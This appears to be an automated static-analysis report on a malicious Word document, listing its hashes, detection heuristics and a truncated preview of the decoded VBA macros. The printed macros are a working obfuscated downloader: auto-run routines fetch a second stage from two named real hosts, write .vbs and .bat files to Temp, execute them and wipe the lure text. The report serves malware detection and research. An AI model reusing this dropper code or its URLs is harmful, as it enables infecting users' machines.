Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6741e88fcd83fe32…

MALICIOUS

Office (OLE)

57.5 KB Created: 2015-09-27 22:19:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: b37353c047b71952d0f46cebdf7422cd SHA-1: af284c7039e6ca81afb9699d0aa706ab53b8c38f SHA-256: 6741e88fcd83fe32a8731d0714fba500ea6a3d9735b3829d51aeb7478061d93d
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains multiple VBA macros, including AutoOpen and Auto_Open, which are commonly used to execute malicious code upon opening the document. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, and the script attempts to construct URLs to download content. Specifically, it constructs URLs like 'http://dillardvideo.com/wp-admin/network/5716367236.txt' and 'http://diputacion.ardinova.com/wp-admin/images/screenshots/5716367236.txt' to fetch a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Macro.ObfuscatedHeuristic-5931994-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedHeuristic-5931994-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6359 bytes
SHA-256: dc28bc20a1b4f24a0c4e6c20739d43e7f38fd4daca897520677f50a580d587de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    Bbhjaadaba
End Sub
Sub Bbhjaadaba()
    BHJABDW = "qwndk nqwjkhdkjh21 jdkh1l kjdlasd"
    Itkadata
End Sub
Sub AutoOpen()
    Bbhjaadaba
End Sub
Sub Itkadata()
    
    
    Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String
    Dim PBIn As String, ADANADA As String, STT2 As String, eDate As Date, CONT As String
    Dim Ndjs As Integer, BHQJGHDS As String, MNHDSDAAA As String
    Dim ABTH As String, BBTH As String
    Dim klmn As Integer, TTKK As String
    Dim GEFORCE1 As String, GEFORCE2 As String, hdjshd As Integer
    
    'eDate = ""
   
    MNHDSDAAA = spb(92)
    ADANADA = Samsung(9898)
    BHQJGHDS = "Temp"
    PH2 = Module2.Kalyma(BHQJGHDS) + MNHDSDAAA
     
    ART = 315
    BFT = 316
    
    Randomize
    eDate = #2/12/2010#
    Ndjs = Int(Year(eDate)) - 1938
    
    ATTH = hhr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + spb(8 + Ndjs)
    ATTH = ATTH + "://"

    TSTS = ".tx" + ""
    TSTS = TSTS + "t"
    
    CDDD = "5716367236" + TSTS
    LNSS = "pipi" + TSTS
    STT1 = "dillardvideo.c" + "om/w" + "p-admin/network/"
    STT2 = "diputacion.ardinova.c" + "om/w" + "p-admin/images/screenshots/"
    PBIn = ATTH + STT1 + CDDD
    
    CONT = Module2.Huqwhdkjqwl(PBIn)
    BHJD = Right(CONT, 15)
    
    hdjshd = InStr(1, BHJD, "exit")
    If (hdjshd = 0) Then
    NJKQWD = ""
    PBIn = ATTH + STT2 + CDDD
    CONT = Module2.Huqwhdkjqwl(PBIn)
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT2 + LNSS)
    Else
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT1 + LNSS)
    End If
    
    Module2.Crispy (1)
    
    CPLRP1 = "pioneer"
    CPLRP2 = "paytina"
    CPLRP3 = "cranb" + "erry"
    
    CONT = Replace(CONT, CPLRP1, PH2, 1)
    CONT = Replace(CONT, CPLRP2, NFBH, 1)
    CONT2 = Replace(CONT, CPLRP3, ADANADA, 1)
    
    TTKK = "$"
    
    klmn = CInt(Len(CONT2))
    For i = 1 To klmn
        If (Mid(CONT2, i, 1) = TTKK) Then
            If (Mid(CONT2, i - 1, 1) = TTKK) Then
                GEFORCE1 = Mid(CONT2, 1, i - 2)
                GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
            End If
        End If
    Next i
    
    HQUJD = ".v"
    ABTH = PH2 + ADANADA & HQUJD + "bs"
    BBTH = PH2 + ADANADA + ".bat"
    
    
    Open ABTH For Output As #ART
    Print #ART, GEFORCE1
    Close #ART
    
    Module2.Crispy (1)
     
    Open BBTH For Output As #BFT
    Print #BFT, GEFORCE2
    Close #BFT
    
    Module2.Crispy (1)
    
    QUHDQ = Module2.Fuflmdjoo(BBTH)
    Module1.Hameleon
    
End Sub
Sub Workbook_Open()
    YUGDASD = "asdhjkh qwgdjhqwg d"
    Bbhjaadaba
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function
Public Function Creasqwdqwjdk(a As String)
Creasqwdqwjdk = CreateObject(a)
End Function

Public Function spb(sps As Integer)
JQHKJDJAS = "qhdkj qhwdjkhqw d"
spb = Chr(sps)
End Function
Public Function Stkjrhbs(a As Integer)
Stkjrhbs = Sgn(a)
End Function





Attribute VB_Name = "Module1"
Sub Hameleon()
Dim pps As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
BHDW = "k"
BHJBQDSD = "asdn,qwmndk1kn2kd 1klh h1j2 kd"
JFQW = "t"
pps = 0
Do While True
    pps = pps + 1
    If (ActiveDocument.Characters(pps) = BHDW) Then
        BHFJABSDX = "wqdklj qlkwjdkl21jkdl1j djkh12kdh sd"
        If (ActiveDocument.Characters(pps - 1) = JFQW) Then
            ActiveDocument.Range(Start:=0, End:=pps).Delete
            ActiveDocument.Range(Start:=0, End:=charCount - pps - 1).Font.ColorIndex = wdBlack
            Exit Do
        End If
    End If
    If (pps = charCount) Then
        Exit Do

... (truncated)

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